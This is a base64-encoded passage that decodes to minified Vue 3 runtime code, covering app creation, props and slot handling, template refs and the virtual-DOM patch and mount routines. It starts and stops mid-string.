0czp6dCxkaXJlY3RpdmVzOnp0LHdhdGNoOk1sLHByb3ZpZGU6aXIsaW5qZWN0OkFsfTtmdW5jdGlvbiBpcihlLHQpe3JldHVybiB0P2U/ZnVuY3Rpb24oKXtyZXR1cm4gd2UoSyhlKT9lLmNhbGwodGhpcyx0aGlzKTplLEsodCk/dC5jYWxsKHRoaXMsdGhpcyk6dCl9OnQ6ZX1mdW5jdGlvbiBBbChlLHQpe3JldHVybiB6dChocyhlKSxocyh0KSl9ZnVuY3Rpb24gaHMoZSl7aWYoVihlKSl7Y29uc3QgdD17fTtmb3IobGV0IG49MDtuPGUubGVuZ3RoO24rKyl0W2Vbbl1dPWVbbl07cmV0dXJuIHR9cmV0dXJuIGV9ZnVuY3Rpb24gQ2UoZSx0KXtyZXR1cm4gZT9bLi4ubmV3IFNldChbXS5jb25jYXQoZSx0KSldOnR9ZnVuY3Rpb24genQoZSx0KXtyZXR1cm4gZT93ZShPYmplY3QuY3JlYXRlKG51bGwpLGUsdCk6dH1mdW5jdGlvbiBscihlLHQpe3JldHVybiBlP1YoZSkmJlYodCk/Wy4uLm5ldyBTZXQoWy4uLmUsLi4udF0pXTp3ZShPYmplY3QuY3JlYXRlKG51bGwpLHJyKGUpLHJyKHQ/P3t9KSk6dH1mdW5jdGlvbiBNbChlLHQpe2lmKCFlKXJldHVybiB0O2lmKCF0KXJldHVybiBlO2NvbnN0IG49d2UoT2JqZWN0LmNyZWF0ZShudWxsKSxlKTtmb3IoY29uc3QgcyBpbiB0KW5bc109Q2UoZVtzXSx0W3NdKTtyZXR1cm4gbn1mdW5jdGlvbiBJbygpe3JldHVybnthcHA6bnVsbCxjb25maWc6e2lzTmF0aXZlVGFnOmZpLHBlcmZvcm1hbmNlOiExLGdsb2JhbFByb3BlcnRpZXM6e30sb3B0aW9uTWVyZ2VTdHJhdGVnaWVzOnt9LGVycm9ySGFuZGxlcjp2b2lkIDAsd2FybkhhbmRsZXI6dm9pZCAwLGNvbXBpbGVyT3B0aW9uczp7fX0sbWl4aW5zOltdLGNvbXBvbmVudHM6e30sZGlyZWN0aXZlczp7fSxwcm92aWRlczpPYmplY3QuY3JlYXRlKG51bGwpLG9wdGlvbnNDYWNoZTpuZXcgV2Vha01hcCxwcm9wc0NhY2hlOm5ldyBXZWFrTWFwLGVtaXRzQ2FjaGU6bmV3IFdlYWtNYXB9fWxldCBMbD0wO2Z1bmN0aW9uIEZsKGUsdCl7cmV0dXJuIGZ1bmN0aW9uKHMsbz1udWxsKXtLKHMpfHwocz13ZSh7fSxzKSksbyE9bnVsbCYmIWZlKG8pJiYobz1udWxsKTtjb25zdCByPUlvKCksaT1uZXcgV2Vha1NldDtsZXQgbD0hMTtjb25zdCBjPXIuYXBwPXtfdWlkOkxsKyssX2NvbXBvbmVudDpzLF9wcm9wczpvLF9jb250YWluZXI6bnVsbCxfY29udGV4dDpyLF9pbnN0YW5jZTpudWxsLHZlcnNpb246b2MsZ2V0IGNvbmZpZygpe3JldHVybiByLmNvbmZpZ30sc2V0IGNvbmZpZyhmKXt9LHVzZShmLC4uLl8pe3JldHVybiBpLmhhcyhmKXx8KGYmJksoZi5pbnN0YWxsKT8oaS5hZGQoZiksZi5pbnN0YWxsKGMsLi4uXykpOksoZikmJihpLmFkZChmKSxmKGMsLi4uXykpKSxjfSxtaXhpbihmKXtyZXR1cm4gci5taXhpbnMuaW5jbHVkZXMoZil8fHIubWl4aW5zLnB1c2goZiksY30sY29tcG9uZW50KGYsXyl7cmV0dXJuIF8/KHIuY29tcG9uZW50c1tmXT1fLGMpOnIuY29tcG9uZW50c1tmXX0sZGlyZWN0aXZlKGYsXyl7cmV0dXJuIF8/KHIuZGlyZWN0aXZlc1tmXT1fLGMpOnIuZGlyZWN0aXZlc1tmXX0sbW91bnQoZixfLGcpe2lmKCFsKXtjb25zdCB2PSQocyxvKTtyZXR1cm4gdi5hcHBDb250ZXh0PXIsZz09PSEwP2c9InN2ZyI6Zz09PSExJiYoZz12b2lkIDApLF8mJnQ/dCh2LGYpOmUodixmLGcpLGw9ITAsYy5fY29udGFpbmVyPWYsZi5fX3Z1ZV9hcHBfXz1jLFVuKHYuY29tcG9uZW50KXx8di5jb21wb25lbnQucHJveHl9fSx1bm1vdW50KCl7bCYmKGUobnVsbCxjLl9jb250YWluZXIpLGRlbGV0ZSBjLl9jb250YWluZXIuX192dWVfYXBwX18pfSxwcm92aWRlKGYsXyl7cmV0dXJuIHIucHJvdmlkZXNbZl09XyxjfSxydW5XaXRoQ29udGV4dChmKXtibj1jO3RyeXtyZXR1cm4gZigpfWZpbmFsbHl7Ym49bnVsbH19fTtyZXR1cm4gY319bGV0IGJuPW51bGw7ZnVuY3Rpb24gRGwoZSx0KXtpZihJZSl7bGV0IG49SWUucHJvdmlkZXM7Y29uc3Qgcz1JZS5wYXJlbnQmJkllLnBhcmVudC5wcm92aWRlcztzPT09biYmKG49SWUucHJvdmlkZXM9T2JqZWN0LmNyZWF0ZShzKSksbltlXT10fX1mdW5jdGlvbiBnbihlLHQsbj0hMSl7Y29uc3Qgcz1JZXx8VGU7aWYoc3x8Ym4pe2NvbnN0IG89cz9zLnBhcmVudD09bnVsbD9zLnZub2RlLmFwcENvbnRleHQmJnMudm5vZGUuYXBwQ29udGV4dC5wcm92aWRlczpzLnBhcmVudC5wcm92aWRlczpibi5fY29udGV4dC5wcm92aWRlcztpZihvJiZlIGluIG8pcmV0dXJuIG9bZV07aWYoYXJndW1lbnRzLmxlbmd0aD4xKXJldHVybiBuJiZLKHQpP3QuY2FsbChzJiZzLnByb3h5KTp0fX1mdW5jdGlvbiAkbChlLHQsbixzPSExKXtjb25zdCBvPXt9LHI9e307dm4ocixObiwxKSxlLnByb3BzRGVmYXVsdHM9T2JqZWN0LmNyZWF0ZShudWxsKSxDbyhlLHQsbyxyKTtmb3IoY29uc3QgaSBpbiBlLnByb3BzT3B0aW9uc1swXSlpIGluIG98fChvW2ldPXZvaWQgMCk7bj9lLnByb3BzPXM/bzp6aShvKTplLnR5cGUucHJvcHM/ZS5wcm9wcz1vOmUucHJvcHM9cixlLmF0dHJzPXJ9ZnVuY3Rpb24gUmwoZSx0LG4scyl7Y29uc3R7cHJvcHM6byxhdHRyczpyLHZub2RlOntwYXRjaEZsYWc6aX19PWUsbD1pZShvKSxbY109ZS5wcm9wc09wdGlvbnM7bGV0IGY9ITE7aWYoKHN8fGk+MCkmJiEoaSYxNikpe2lmKGkmOCl7Y29uc3QgXz1lLnZub2RlLmR5bmFtaWNQcm9wcztmb3IobGV0IGc9MDtnPF8ubGVuZ3RoO2crKyl7bGV0IHY9X1tnXTtpZihGbihlLmVtaXRzT3B0aW9ucyx2KSljb250aW51ZTtjb25zdCBUPXRbdl07aWYoYylpZihlZShyLHYpKVQhPT1yW3ZdJiYoclt2XT1ULGY9ITApO2Vsc2V7Y29uc3QgcT1IdCh2KTtvW3FdPV9zKGMsbCxxLFQsZSwhMSl9ZWxzZSBUIT09clt2XSYmKHJbdl09VCxmPSEwKX19fWVsc2V7Q28oZSx0LG8scikmJihmPSEwKTtsZXQgXztmb3IoY29uc3QgZyBpbiBsKSghdHx8IWVlKHQsZykmJigoXz1DdChnKSk9PT1nfHwhZWUodCxfKSkpJiYoYz9uJiYobltnXSE9PXZvaWQgMHx8bltfXSE9PXZvaWQgMCkmJihvW2ddPV9zKGMsbCxnLHZvaWQgMCxlLCEwKSk6ZGVsZXRlIG9bZ10pO2lmKHIhPT1sKWZvcihjb25zdCBnIGluIHIpKCF0fHwhZWUodCxnKSkmJihkZWxldGUgcltnXSxmPSEwKX1mJiZ0dChlLCJzZXQiLCIkYXR0cnMiKX1mdW5jdGlvbiBDbyhlLHQsbixzKXtjb25zdFtvLHJdPWUucHJvcHNPcHRpb25zO2xldCBpPSExLGw7aWYodClmb3IobGV0IGMgaW4gdCl7aWYoaG4oYykpY29udGludWU7Y29uc3QgZj10W2NdO2xldCBfO28mJmVlKG8sXz1IdChjKSk/IXJ8fCFyLmluY2x1ZGVzKF8pP25bX109ZjoobHx8KGw9e30pKVtfXT1mOkZuKGUuZW1pdHNPcHRpb25zLGMpfHwoIShjIGluIHMpfHxmIT09c1tjXSkmJihzW2NdPWYsaT0hMCl9aWYocil7Y29uc3QgYz1pZShuKSxmPWx8fGRlO2ZvcihsZXQgXz0wO188ci5sZW5ndGg7XysrKXtjb25zdCBnPXJbX107bltnXT1fcyhvLGMsZyxmW2ddLGUsIWVlKGYsZykpfX1yZXR1cm4gaX1mdW5jdGlvbiBfcyhlLHQsbixzLG8scil7Y29uc3QgaT1lW25dO2lmKGkhPW51bGwpe2NvbnN0IGw9ZWUoaSwiZGVmYXVsdCIpO2lmKGwmJnM9PT12b2lkIDApe2NvbnN0IGM9aS5kZWZhdWx0O2lmKGkudHlwZSE9PUZ1bmN0aW9uJiYhaS5za2lwRmFjdG9yeSYmSyhjKSl7Y29uc3R7cHJvcHNEZWZhdWx0czpmfT1vO2lmKG4gaW4gZilzPWZbbl07ZWxzZXtjb25zdCBfPXRuKG8pO3M9ZltuXT1jLmNhbGwobnVsbCx0KSxfKCl9fWVsc2Ugcz1jfWlbMF0mJihyJiYhbD9zPSExOmlbMV0mJihzPT09IiJ8fHM9PT1DdChuKSkmJihzPSEwKSl9cmV0dXJuIHN9ZnVuY3Rpb24ga28oZSx0LG49ITEpe2NvbnN0IHM9dC5wcm9wc0NhY2hlLG89cy5nZXQoZSk7aWYobylyZXR1cm4gbztjb25zdCByPWUucHJvcHMsaT17fSxsPVtdO2xldCBjPSExO2lmKCFLKGUpKXtjb25zdCBfPWc9PntjPSEwO2NvbnN0W3YsVF09a28oZyx0LCEwKTt3ZShpLHYpLFQmJmwucHVzaCguLi5UKX07IW4mJnQubWl4aW5zLmxlbmd0aCYmdC5taXhpbnMuZm9yRWFjaChfKSxlLmV4dGVuZHMmJl8oZS5leHRlbmRzKSxlLm1peGlucyYmZS5taXhpbnMuZm9yRWFjaChfKX1pZighciYmIWMpcmV0dXJuIGZlKGUpJiZzLnNldChlLCR0KSwkdDtpZihWKHIpKWZvcihsZXQgXz0wO188ci5sZW5ndGg7XysrKXtjb25zdCBnPUh0KHJbX10pO2NyKGcpJiYoaVtnXT1kZSl9ZWxzZSBpZihyKWZvcihjb25zdCBfIGluIHIpe2NvbnN0IGc9SHQoXyk7aWYoY3IoZykpe2NvbnN0IHY9cltfXSxUPWlbZ109Vih2KXx8Syh2KT97dHlwZTp2fTp3ZSh7fSx2KTtpZihUKXtjb25zdCBxPWZyKEJvb2xlYW4sVC50eXBlKSxKPWZyKFN0cmluZyxULnR5cGUpO1RbMF09cT4tMSxUWzFdPUo8MHx8cTxKLChxPi0xfHxlZShULCJkZWZhdWx0IikpJiZsLnB1c2goZyl9fX1jb25zdCBmPVtpLGxdO3JldHVybiBmZShlKSYmcy5zZXQoZSxmKSxmfWZ1bmN0aW9uIGNyKGUpe3JldHVybiBlWzBdIT09IiQifWZ1bmN0aW9uIGFyKGUpe2NvbnN0IHQ9ZSYmZS50b1N0cmluZygpLm1hdGNoKC9eXHMqKGZ1bmN0aW9ufGNsYXNzKSAoXHcrKS8pO3JldHVybiB0P3RbMl06ZT09PW51bGw/Im51bGwiOiIifWZ1bmN0aW9uIHVyKGUsdCl7cmV0dXJuIGFyKGUpPT09YXIodCl9ZnVuY3Rpb24gZnIoZSx0KXtyZXR1cm4gVih0KT90LmZpbmRJbmRleChuPT51cihuLGUpKTpLKHQpJiZ1cih0LGUpPzA6LTF9Y29uc3QgT289ZT0+ZVswXT09PSJfInx8ZT09PSIkc3RhYmxlIixScz1lPT5WKGUpP2UubWFwKHFlKTpbcWUoZSldLE5sPShlLHQsbik9PntpZih0Ll9uKXJldHVybiB0O2NvbnN0IHM9YWUoKC4uLm8pPT5Scyh0KC4uLm8pKSxuKTtyZXR1cm4gcy5fYz0hMSxzfSx4bz0oZSx0LG4pPT57Y29uc3Qgcz1lLl9jdHg7Zm9yKGNvbnN0IG8gaW4gZSl7aWYoT28obykpY29udGludWU7Y29uc3Qgcj1lW29dO2lmKEsocikpdFtvXT1ObChvLHIscyk7ZWxzZSBpZihyIT1udWxsKXtjb25zdCBpPVJzKHIpO3Rbb109KCk9Pml9fX0sVG89KGUsdCk9Pntjb25zdCBuPVJzKHQpO2Uuc2xvdHMuZGVmYXVsdD0oKT0+bn0sUGw9KGUsdCk9PntpZihlLnZub2RlLnNoYXBlRmxhZyYzMil7Y29uc3Qgbj10Ll87bj8oZS5zbG90cz1pZSh0KSx2bih0LCJfIixuKSk6eG8odCxlLnNsb3RzPXt9KX1lbHNlIGUuc2xvdHM9e30sdCYmVG8oZSx0KTt2bihlLnNsb3RzLE5uLDEpfSxVbD0oZSx0LG4pPT57Y29uc3R7dm5vZGU6cyxzbG90czpvfT1lO2xldCByPSEwLGk9ZGU7aWYocy5zaGFwZUZsYWcmMzIpe2NvbnN0IGw9dC5fO2w/biYmbD09PTE/cj0hMTood2Uobyx0KSwhbiYmbD09PTEmJmRlbGV0ZSBvLl8pOihyPSF0LiRzdGFibGUseG8odCxvKSksaT10fWVsc2UgdCYmKFRvKGUsdCksaT17ZGVmYXVsdDoxfSk7aWYocilmb3IoY29uc3QgbCBpbiBvKSFPbyhsKSYmaVtsXT09bnVsbCYmZGVsZXRlIG9bbF19O2Z1bmN0aW9uIHBzKGUsdCxuLHMsbz0hMSl7aWYoVihlKSl7ZS5mb3JFYWNoKCh2LFQpPT5wcyh2LHQmJihWKHQpP3RbVF06dCksbixzLG8pKTtyZXR1cm59aWYocG4ocykmJiFvKXJldHVybjtjb25zdCByPXMuc2hhcGVGbGFnJjQ/VW4ocy5jb21wb25lbnQpfHxzLmNvbXBvbmVudC5wcm94eTpzLmVsLGk9bz9udWxsOnIse2k6bCxyOmN9PWUsZj10JiZ0LnIsXz1sLnJlZnM9PT1kZT9sLnJlZnM9e306bC5yZWZzLGc9bC5zZXR1cFN0YXRlO2lmKGYhPW51bGwmJmYhPT1jJiYoeWUoZik/KF9bZl09bnVsbCxlZShnLGYpJiYoZ1tmXT1udWxsKSk6RmUoZikmJihmLnZhbHVlPW51bGwpKSxLKGMpKXV0KGMsbCwxMixbaSxfXSk7ZWxzZXtjb25zdCB2PXllKGMpLFQ9RmUoYykscT1lLmY7aWYodnx8VCl7Y29uc3QgSj0oKT0+e2lmKHEpe2NvbnN0IEc9dj9lZShnLGMpP2dbY106X1tjXTpjLnZhbHVlO28/VihHKSYmRXMoRyxyKTpWKEcpP0cuaW5jbHVkZXMocil8fEcucHVzaChyKTp2PyhfW2NdPVtyXSxlZShnLGMpJiYoZ1tjXT1fW2NdKSk6KGMudmFsdWU9W3JdLGUuayYmKF9bZS5rXT1jLnZhbHVlKSl9ZWxzZSB2PyhfW2NdPWksZWUoZyxjKSYmKGdbY109aSkpOlQmJihjLnZhbHVlPWksZS5rJiYoX1tlLmtdPWkpKX07b3x8cT9KKCk6KEouaWQ9LTEseGUoSixuKSl9fX1jb25zdCB4ZT11bDtmdW5jdGlvbiBIbChlKXtyZXR1cm4gVmwoZSl9ZnVuY3Rpb24gVmwoZSx0KXtjb25zdCBuPVByKCk7bi5fX1ZVRV9fPSEwO2NvbnN0e2luc2VydDpzLHJlbW92ZTpvLHBhdGNoUHJvcDpyLGNyZWF0ZUVsZW1lbnQ6aSxjcmVhdGVUZXh0OmwsY3JlYXRlQ29tbWVudDpjLHNldFRleHQ6ZixzZXRFbGVtZW50VGV4dDpfLHBhcmVudE5vZGU6ZyxuZXh0U2libGluZzp2LHNldFNjb3BlSWQ6VD1SZSxpbnNlcnRTdGF0aWNDb250ZW50OnF9PWUsSj0odSxoLG0sdz1udWxsLGI9bnVsbCxDPW51bGwsQT12b2lkIDAsST1udWxsLE89ISFoLmR5bmFtaWNDaGlsZHJlbik9PntpZih1PT09aClyZXR1cm47dSYmIUR0KHUsaCkmJih3PXNuKHUpLFVlKHUsYixDLCEwKSx1PW51bGwpLGgucGF0Y2hGbGFnPT09LTImJihPPSExLGguZHluYW1pY0NoaWxkcmVuPW51bGwpO2NvbnN0e3R5cGU6RSxyZWY6TSxzaGFwZUZsYWc6SH09aDtzd2l0Y2goRSl7Y2FzZSBSbjpHKHUsaCxtLHcpO2JyZWFrO2Nhc2UgZHQ6dGUodSxoLG0sdyk7YnJlYWs7Y2FzZSBYbjp1PT1udWxsJiZ2ZShoLG0sdyxBKTticmVhaztjYXNlIG1lOnAodSxoLG0sdyxiLEMsQSxJLE8pO2JyZWFrO2RlZmF1bHQ6SCYxP3VlKHUsaCxtLHcsYixDLEEsSSxPKTpIJjY/eSh1LGgsbSx3LGIsQyxBLEksTyk6KEgmNjR8fEgmMTI4KSYmRS5wcm9jZXNzKHUsaCxtLHcsYixDLEEsSSxPLFR0KX1NIT1udWxsJiZiJiZwcyhNLHUmJnUucmVmLEMsaHx8dSwhaCl9LEc9KHUsaCxtLHcpPT57aWYodT09bnVsbClzKGguZWw9bChoLmNoaWxkcmVuKSxtLHcpO2Vsc2V7Y29uc3QgYj1oLmVsPXUuZWw7aC5jaGlsZHJlbiE9PXUuY2hpbGRyZW4mJmYoYixoLmNoaWxkcmVuKX19LHRlPSh1LGgsbSx3KT0+e3U9PW51bGw/cyhoLmVsPWMoaC5jaGlsZHJlbnx8IiIpLG0sdyk6aC5lbD11LmVsfSx2ZT0odSxoLG0sdyk9PntbdS5lbCx1LmFuY2hvcl09cSh1LmNoaWxkcmVuLGgsbSx3LHUuZWwsdS5hbmNob3IpfSxYPSh7ZWw6dSxhbmNob3I6aH0sbSx3KT0+e2xldCBiO2Zvcig7dSYmdSE9PWg7KWI9dih1KSxzKHUsbSx3KSx1PWI7cyhoLG0sdyl9LFo9KHtlbDp1LGFuY2hvcjpofSk9PntsZXQgbTtmb3IoO3UmJnUhPT1oOyltPXYodSksbyh1KSx1PW07byhoKX0sdWU9KHUsaCxtLHcsYixDLEEsSSxPKT0+e2gudHlwZT09PSJzdmciP0E9InN2ZyI6aC50eXBlPT09Im1hdGgiJiYoQT0ibWF0aG1sIiksdT09bnVsbD9qKGgsbSx3LGIsQyxBLEksTyk6bmUodSxoLGIsQyxBLEksTyl9LGo9KHUsaCxtLHcsYixDLEEsSSk9PntsZXQgTyxFO2NvbnN0e3Byb3BzOk0sc2hhcGVGbGFnOkgsdHJhbnNpdGlvbjpSLGRpcnM6Qn09dTtpZihPPXUuZWw9aSh1LnR5cGUsQyxNJiZNLmlzLE0pLEgmOD9fKE8sdS5jaGlsZHJlbik6SCYxNiYmTih1LmNoaWxkcmVuLE8sbnVsbCx3LGIscW4odSxDKSxBLEkpLEImJmh0KHUsbnVsbCx3LCJjcmVhdGVkIiksbGUoTyx1LHUuc2NvcGVJZCxBLHcpLE0pe2Zvcihjb25zdCBjZSBpbiBNKWNlIT09InZhbHVlIiYmIWhuKGNlKSYmcihPLGNlLG51bGwsTVtjZV0sQyx1LmNoaWxkcmVuLHcsYixaZSk7InZhbHVlImluIE0mJnIoTywidmFsdWUiLG51bGwsTS52YWx1ZSxDKSwoRT1NLm9uVm5vZGVCZWZvcmVNb3VudCkmJkplKEUsdyx1KX1CJiZodCh1LG51bGwsdywiYmVmb3JlTW91bnQiKTtjb25zdCBRPWpsKGIsUik7USYmUi5iZWZvcmVFbnRlcihPKSxzKE8saCxtKSwoKEU9TSYmTS5vblZub2RlTW91bnRlZCl8fFF8fEIpJiZ4ZSgoKT0+e0UmJkplKEUsdyx1KSxRJiZSLmVudGVyKE8pLEImJmh0KHUsbnVsbCx3LCJtb3VudGVkIil9LGIpfSxsZT0odSxoLG0sdyxiKT0+e2lmKG0mJlQodSxtKSx3KWZvcihsZXQgQz0wO0M8dy5sZW5ndGg7QysrKVQodSx3W0NdKTtpZihiKXtsZXQgQz1iLnN1YlRyZWU7aWYoaD09PUMpe2NvbnN0IEE9Yi52bm9kZTtsZSh1LEEsQS5zY29wZUlkLEEuc2xvdFNjb3BlSWRzLGIucGFyZW50KX19fSxOPSh1LGgsbSx3LGIsQyxBLEksTz0wKT0+e2ZvcihsZXQgRT1PO0U8dS5sZW5ndGg7RSsrKXtjb25zdCBNPXVbRV09ST9sdCh1W0VdKTpxZSh1W0VdKTtKKG51bGwsTSxoLG0sdyxiLEMsQSxJKX19LG5lPSh1LGgsbSx3LGIsQyxBKT0+e2NvbnN0IEk9aC5lbD11LmVsO2xldHtwYXRjaEZsYWc6TyxkeW5hbWljQ2hpbGRyZW46RSxkaXJzOk19PWg7T3w9dS5wYXRjaEZsYWcmMTY7Y29uc3QgSD11LnByb3BzfHxkZSxSPWgucHJvcHN8fGRlO2xldCBCO2lmKG0mJl90KG0sITEpLChCPVIub25Wbm9kZUJlZm9yZVVwZGF0ZSkmJkplKEIsbSxoLHUpLE0mJmh0KGgsdSxtLCJiZWZvcmVVcGRhdGUiKSxtJiZfdChtLCEwKSxFP3NlKHUuZHluYW1pY0NoaWxkcmVuLEUsSSxtLHcscW4oaCxiKSxDKTpBfHxVKHUsaCxJLG51bGwsbSx3LHFuKGgsYiksQywhMSksTz4wKXtpZihPJjE2KWEoSSxoLEgsUixtLHcsYik7ZWxzZSBpZihPJjImJkguY2xhc3MhPT1SLmNsYXNzJiZyKEksImNsYXNzIixudWxsLFIuY2xhc3MsYiksTyY0JiZyKEksInN0eWxlIixILnN0eWxlLFIuc3R5bGUsYiksTyY4KXtjb25zdCBRPWguZHluYW1pY1Byb3BzO2ZvcihsZXQgY2U9MDtjZTxRLmxlbmd0aDtjZSsrKXtjb25zdCBoZT1RW2NlXSxiZT1IW2hlXSxIZT1SW2hlXTsoSGUhPT1iZXx8aGU9PT0idmFsdWUiKSYmcihJLGhlLGJlLEhlLGIsdS5jaGlsZHJlbixtLHcsWmUpfX1PJjEmJnUuY2hpbGRyZW4hPT1oLmNoaWxkcmVuJiZfKEksaC5jaGlsZHJlbil9ZWxzZSFBJiZFPT1udWxsJiZhKEksaCxILFIsbSx3LGIpOygoQj1SLm9uVm5vZGVVcGRhdGVkKXx8TSkmJnhlKCgpPT57QiYmSmUoQixtLGgsdSksTSYmaHQoaCx1LG0sInVwZGF0ZWQiKX0sdyl9LHNlPSh1LGgsbSx3LGIsQyxBKT0+e2ZvcihsZXQgST0wO0k8aC5sZW5ndGg7SSsrKXtjb25zdCBPPXVbSV0sRT1oW0ldLE09Ty5lbCYmKE8udHlwZT09PW1lfHwhRHQoTyxFKXx8Ty5zaGFwZUZsYWcmNzApP2coTy5lbCk6bTtKKE8sRSxNLG51bGwsdyxiLEMsQSwhMCl9fSxhPSh1LGgsbSx3LGIsQyxBKT0+e2lmKG0hPT13KXtpZihtIT09ZGUpZm9yKGNvbnN0IEkgaW4gbSkhaG4oSSkmJiEoSSBpbiB3KSYmcih1LEksbVtJXSxudWxsLEEsaC5jaGlsZHJlbixiLEMsWmUpO2Zvcihjb25zdCBJIGluIHcpe2lmKGhuKEkpKWNvbnRpbnVlO2NvbnN0IE89d1tJXSxFPW1bSV07TyE9PUUmJkkhPT0idmFsdWUiJiZyKHUsSSxFLE8sQSxoLmNoaWxkcmVuLGIsQyxaZSl9InZhbHVlImluIHcmJnIodSwidmFsdWUiLG0udmFsdWUsdy52YWx1ZSxBKX19LHA9KHUsaCxtLHcsYixDLEEsSSxPKT0+e2NvbnN0IEU9aC5lbD11P3UuZWw6bCgiIiksTT1oLmFuY2hvcj11P3UuYW5jaG9yOmwoIiIpO2xldHtwYXRjaEZsYWc6SCxkeW5hbWljQ2hpbGRyZW46UixzbG90U2NvcGVJZHM6Qn09aDtCJiYoST1JP0kuY29uY2F0KEIpOkIpLHU9PW51bGw/KHMoRSxtLHcpLHMoTSxtLHcpLE4oaC5jaGlsZHJlbnx8W10sbSxNLGIsQyxBLEksTykpOkg+MCYmSCY2NCYmUiYmdS5keW5hbWljQ2hpbGRyZW4/KHNlKHUuZHluYW1pY0NoaWxkcmVuLFIsbSxiLEMsQSxJKSwoaC5rZXkhPW51bGx8fGImJmg9PT1iLnN1YlRyZWUpJiZBbyh1LGgsITApKTpVKHUsaCxtLE0sYixDLEEsSSxPKX0seT0odSxoLG0sdyxiLEMsQSxJLE8pPT57aC5zbG90U2NvcGVJZHM9SSx1PT1udWxsP2guc2hhcGVGbGFnJjUxMj9iLmN0eC5hY3RpdmF0ZShoLG0sdyxBLE8pOngoaCxtLHcsYixDLEEsTyk6Rih1LGgsTyl9LHg9KHUsaCxtLHcsYixDLEEpPT57Y29uc3QgST11LmNvbXBvbmVudD1abCh1LHcsYik7aWYobW8odSkmJihJLmN0eC5yZW5kZXJlcj1UdCksZWMoSSksSS5hc3luY0RlcCl7aWYoYiYmYi5yZWdpc3RlckRlcChJLFkpLCF1LmVsKXtjb25zdCBPPUkuc3ViVHJlZT0kKGR0KTt0ZShudWxsLE8saCxtKX19ZWxzZSBZKEksdSxoLG0sYixDLEEpfSxGPSh1LGgsbSk9Pntjb25zdCB3PWguY29tcG9uZW50PXUuY29tcG9uZW50O2lmKGlsKHUsaCxtKSlpZih3LmFzeW5jRGVwJiYhdy5hc3luY1Jlc29sdmVkKXtEKHcsaCxtKTtyZXR1cm59ZWxzZSB3Lm5leHQ9aCxlbCh3LnVwZGF0ZSksdy5lZmZlY3QuZGlydHk9ITAsdy51cGRhdGUoKTtlbHNlIGguZWw9dS5lbCx3LnZub2RlPWh9LFk9KHUsaCxtLHcsYixDLEEpPT57Y29uc3QgST0oKT0+e2lmKHUuaXNNb3VudGVkKXtsZXR7bmV4dDpNLGJ1OkgsdTpSLHBhcmVudDpCLHZub2RlOlF9PXU7e2NvbnN0IEF0PU1vKHUpO2lmKEF0KXtNJiYoTS5lbD1RLmVsLEQodSxNLEEpKSxBdC5hc3luY0RlcC50aGVuKCgpPT57dS5pc1VubW91bnRlZHx8SSgpfSk7cmV0dXJufX1sZXQgY2U9TSxoZTtfdCh1LCExKSxNPyhNLmVsPVEuZWwsRCh1LE0sQSkpOk09USxIJiZfbihIKSwoaGU9TS5wcm9wcyYmTS5wcm9wcy5vblZub2RlQmVmb3JlVXBkYXRlKSYmSmUoaGUsQixNLFEpLF90KHUsITApO2NvbnN0IGJlPUpuKHUpLEhlPXUuc3ViVHJlZTt1LnN1YlRyZWU9YmUsSihIZSxiZSxnKEhlLmVsKSxzbihIZSksdSxiLEMpLE0uZWw9YmUuZWwsY2U9PT1udWxsJiZsbCh1LGJlLmVsKSxSJiZ4ZShSLGIpLChoZT1NLnByb3BzJiZNLnByb3BzLm9uVm5vZGVVcGRhdGVkKSYmeGUoKCk9PkplKGhlLEIsTSxRKSxiKX1lbHNle2xldCBNO2NvbnN0e2VsOkgscHJvcHM6Un09aCx7Ym06QixtOlEscGFyZW50OmNlfT11LGhlPXBuKGgpO2lmKF90KHUsITEpLEImJl9uKEIpLCFoZSYmKE09UiYmUi5vblZub2RlQmVmb3JlTW91bnQpJiZKZShNLGNlLGgpLF90KHUsITApLEgmJkduKXtjb25zdCBiZT0oKT0+e3Uuc3ViVHJlZT1Kbih1KSxHbihILHUuc3ViVHJlZSx1LGIsbnVsbCl9O2hlP2gudHlwZS5fX2FzeW5jTG9hZGVyKCkudGhlbigoKT0+IXUuaXNVbm1vdW50ZWQmJmJlKCkpOmJlKCl9ZWxzZXtjb25zdCBiZT11LnN1YlRyZWU9Sm4odSk7SihudWxsLGJlLG0sdyx1LGIsQyksaC5lbD1iZS5lbH1pZihRJiZ4ZShRLGIpLCFoZSYmKE09UiYmUi5vblZub2RlTW91bnRlZCkpe2NvbnN0IGJlPWg7eGUoKCk9PkplKE0sY2UsYmUpLGIpfShoLnNoYXBlRmxhZyYyNTZ8fGNlJiZwbihjZS52bm9kZSkmJmNlLnZub2RlLnNoYXBlRmxhZyYyNTYpJiZ1LmEmJnhlKHUuYSxiKSx1LmlzTW91bnRlZD0hMCxoPW09dz1udWxsfX0sTz11LmVmZmVjdD1uZXcgQ3MoSSxSZSwoKT0+RHMoRSksdS5zY29wZSksRT11LnVwZGF0ZT0oKT0+e08uZGlydHkmJk8ucnVuKCl9O0UuaWQ9dS51aWQsX3QodSwhMCksRSgpfSxEPSh1LGgsbSk9PntoLmNvbXBvbmVudD11O2NvbnN0IHc9dS52bm9kZS5wcm9wczt1LnZub2RlPWgsdS5uZXh0PW51bGwsUmwodSxoLnByb3BzLHcsbSksVWwodSxoLmNoaWxkcmVuLG0pLGt0KCksbnIodSksT3QoKX0sVT0odSxoLG0sdyxiLEMsQSxJLE89ITEpPT57Y29uc3QgRT11JiZ1LmNoaWxkcmVuLE09dT91LnNoYXBlRmxhZzowLEg9aC5jaGlsZHJlbix7cGF0Y2hGbGFnOlIsc2hhcGVGbGFnOkJ9PWg7aWYoUj4wKXtpZihSJjEyOCl7X2UoRSxILG0sdyxiLEMsQSxJLE8pO3JldHVybn1lbHNlIGlmKFImMjU2KXtyZShFLEgsbSx3LGIsQyxBLEksTyk7cmV0dXJufX1CJjg/KE0mMTYmJlplKEUsYixDKSxIIT09RSYmXyhtLEgpKTpNJjE2P0ImMTY/X2UoRSxILG0sdyxiLEMsQSxJLE8pOlplKEUsYixDLCEwKTooTSY4JiZfKG0sIiIpLEImMTYmJk4oSCxtLHcsYixDLEEsSSxPKSl9LHJlPSh1LGgsbSx3LGIsQyxBLEksTyk9Pnt1PXV8fCR0LGg9aHx8JHQ7Y29uc3QgRT11Lmxlbmd0aCxNPWgubGVuZ3RoLEg9TWF0aC5taW4oRSxNKTtsZXQgUjtmb3IoUj0wO1I8SDtSKyspe2NvbnN0IEI9aFtSXT1PP2x0KGhbUl0pOnFlKGhbUl0pO0oodVtSXSxCLG0sbnVsbCxiLEMsQSxJLE8pfUU+TT9aZSh1LGIsQywhMCwhMSxIKTpOKGgsbSx3LGIsQyxBLEksTyxIKX0sX2U9KHU